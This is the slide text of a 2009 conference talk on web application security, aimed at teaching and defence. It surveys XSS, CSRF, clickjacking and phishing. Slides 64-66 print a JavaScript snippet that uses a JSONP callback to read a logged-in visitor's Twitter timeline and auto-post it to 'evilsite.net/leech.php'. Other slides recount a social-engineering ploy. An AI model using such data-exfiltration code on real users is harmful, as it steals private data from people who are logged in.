My talk at the Web Directions North conference in Denver, Colorado. It covers basic technologies and methodologies of attacks of web applications, what we can do against them and a plea for making interfaces more educational about security than scaring users.

1. Things that go bump
on the web
Christian Heilmann | http://wait-till-i.com | http://scriptingenabled.org
Web Directions North, Denver, Colorado, February 2009

2. Disclaimer:
The following is a personal presentation
and the views do not necessarily reflect
those of my employer or the conference
organizer!
There will be strong language, public
exposure (of security issues) and some
strong opinions.
Viewer discretion is advised.

3. Hello, I am Chris.

4. I’m here today to talk to you
about web application
security.

5. I’ve seen several security
presentations myself.

6. And they fall into a few
categories:

7. Technical mumbo jumbo that
leaves you feeling
inadequate and scared.

8. “Neener Neener, look what I
can hack” show-offs.

9. “Use our systems or you’ll be
dead tomorrow.” sales
pitches.

10. I wanted to avoid anything
like that.

11. My intention is not to leave
you feeling patronised...

12. ...confused
or scared.

13. I want to point out several
basics of web security...

14. ...and offer some ideas of how
you can prevent the worst
and help us make the web
safer.

15. Here’s what I will go through:
Close the gates.
Clean up your mess.
Don’t breed idiots. d
sore
cen
Stay up-to-date.
Constant Vigilance, Harry!

16. Close the Gates!

17. Here’s a quick roundup of
attack technologies and
methodologies you should
know about.

18. XSS!

19. https://www.owasp.org/index.php?
title=XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

20. XSS means that people can
successfully inject something
into your sites that shouldn’t
be there.

21. Successfully injecting
JavaScript in your site allows
me to steal and fake the
identity of your users or
yourself.

22. SQL
Injection

24. Always filter SQL statements
from your requests!

25. CSRF!

26. http://en.wikipedia.org/wiki/Cross-
site_request_forgery

27. CSRF happens when you have
predictable urls to initiate
actions – like deleting a form
post or transferring money.

28. This url could then be called
in the background from
another site – via an image or
a form submission in
JavaScript.

29. Clickjacking

30. http://ha.ckers.org/blog/20080915/clickjacking/

31. Clickjacking is a trick to cover
a real interface in an IFRAME
with a transparent GIF or
Flash movie...

32. ...to send you to another site
or pretend there was a
problem and asking for you
to log in again.

33. Isn’t it interesting that the
verified by visa security tool
makes that look very normal?

34. Phishing!

35. Phishing means showing a
familiar interface and luring
users into entering data.

36. The only way to prevent this
is let the user choose a secret
only they know...

37. ...like the Yahoo sign-in seal.

38. I approve
of this!

39. XBCR!

40. E!
K
A
F
http://en.wikipedia.org/wiki/Cross-boundary-
currency-request

41. Clean up your mess!

42. A lot of security problems
happen because people leave
data behind.

43. This can be in their HTML.

44. Comments are not a good
tool to turn off sections of the
page that shouldn’t be
available yet!

45. Or it can be in JavaScript...

47. Or on their server:

49. Or in their browsers.

50. I built TweetEffect.com, a
small tool to check your
twitter follower changes.

52. And then I got this email (not
real size, it had to be resized)

54. I checked the user name and
saw nothing – just a “this user
isn’t available”.

55. What happened?

56. Apparently this person was
logged in and of course that
way authenticated to see the
updates.

57. The same thing happens
when one of the friends of
that person is logged in!

58. So, this is interesting...

60. Step 1: Log in yourself

61. Step 2: Get his list of followers

63. Step 3: Set the trap

64. You can get a user’s updates
with a simple REST call:
http://twitter.com/statuses/
user_timeline/codepo8.xml?
count=200

65. <img src=”tuna_funny.jpg”
alt=”tee hee hee”>
<form method=”post”
action=”http://evilsite.net/
leech.php”>
<input type=”hidden” value=””
name=”muahaha”>
</form>

66. <script>
function evilgenius(o){
var m=document.getElementById(‘muahaha’);
m.value=o;
document.forms[0].submit();
}
</script>
<script src=”http://twitter.com/statuses/
user_timeline/tuna.json?
count=200&callback=evilgenius”></script>

67. ...alternatively use Ajax...

68. Step 4: Contact random friend
of tuna to visit the site.

69. As they are authenticated the
data will be returned without
a question and sent to your
server.

70. Learnings:
Do not trust browsers, ever!
A lock on a screen does not mean
protection!
You are as protected as the people you
deal with.

71. Which brings me to the next
point...

72. DANGER!
I am now going to
be a bit daring.
I will ask you to
question common
ways of thinking
and considering
alternatives.

73. Don’t breed idiots!

74. I’m a designer,
why should I
care about web
application
security?

75. Designers help users do the
right things in the easiest and
most effective manner.

76. We have the chance to
increase usability to stop
people repeatedly shooting
themselves in the foot.

77. None
of this!

78. Users should be conditioned
not to trust blindly.

79. Yet we tell them to store their
information on computers
and give them an option to
stay logged in.

80. Getting information out of
people is easy:

81. Be confident, show (or fake)
authority, keep things
confusing and give them a
wrong sense of urgency.

82. “Look, your wireless is flaky, I am
in the middle of a phone conference
and it keeps dropping out. Is there
a wired connection in this lounge?”

83. “Do you have a first class ticket?”
“I just asked you where the wired
connection is, this is an urgent
conference and I need to answer
this now!”

84. = Chris had some hours in the
first class lounge!

85. Why did that work?

86. People are used to being
treated like this.

88. We also don’t tell users off for
using clever passwords like
“password” or “happiness”.

90. Don’t make your end users
suffer for your lack of
security.

91. CAPTCHAS solve nothing!
http://caca.zoy.org/wiki/PWNtcha

92. Here’s a challenge for you
design and marketing
wizards:

93. How about an interface that
makes it fun to change your
password every week?

94. And here’s a challenge for
security experts:

95. Use HUMAN language!

96. “confused deputy”

97. “man in the middle attack”

98. “the password antipattern”

99. How about
“giving your login and password for
one system to another system is like
writing your pin number on your
credit card and asking a stranger to
buy something for you!”

100. Stay
up to
date!

101. There is no security in sticking
with outdated systems.

102. Therefore make sure to keep
your server, your client
software and your operating
system up-to-date.

104. Even if companies offer a way
out not to “break the web”.

105. None
of this!

106. This also applies to your skills.

107. If you *don’t* want to be the
guardian against evil and
have *your butt on the line*
when things to bump...

108. ...build with frameworks!

109. Symfony, Django, Rails all
offer out-of-the-box filtering
and sanitization.

110. If there is a vulnerability, it
can be fixed by a lot of people
and pushed out as an update.

111. Constant vigilance!
Screenshot from Harry Potter and the Goblet of fire, found on some blog but probably courtesy of Warner Brothers

112. The most important thing for
you is to constantly be aware
of what your servers are up
to.

113. This *does* include your blog
and portfolio!

114. Any server can be a spam hub
or part of an attack network.

115. Your friends are:
Server logs
Statistics software

117. Don’t just look at the numbers

118. More interesting are
“posted forms”

119. And “page query terms”

120. Keep up-to-date with what’s
happening in web security.

121. http://simonwillison.net/
tags/security/

122. Stay curious to poke at things
and find out their flaws and
report them!

123. THANKS!
Christian Heilmann
http://wait-till-i.com
http://scriptingenabled.org
http://twitter.com/codepo8
Images by icanhazcheeseburger.com, failblog.org,kqe.de and from the web.
Eye photo: http://flickr.com/photos/jaredmoo/2113943480